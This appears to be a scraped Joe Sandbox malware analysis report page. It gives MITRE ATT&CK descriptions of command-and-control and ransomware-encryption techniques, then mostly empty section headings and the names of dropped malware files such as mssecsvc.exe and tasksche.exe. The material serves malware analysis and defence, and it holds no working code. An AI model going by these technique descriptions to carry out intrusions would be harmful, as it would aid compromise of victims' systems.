Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7B6t4L7E2o

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\mssecsvc.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
7B6t4L7E2o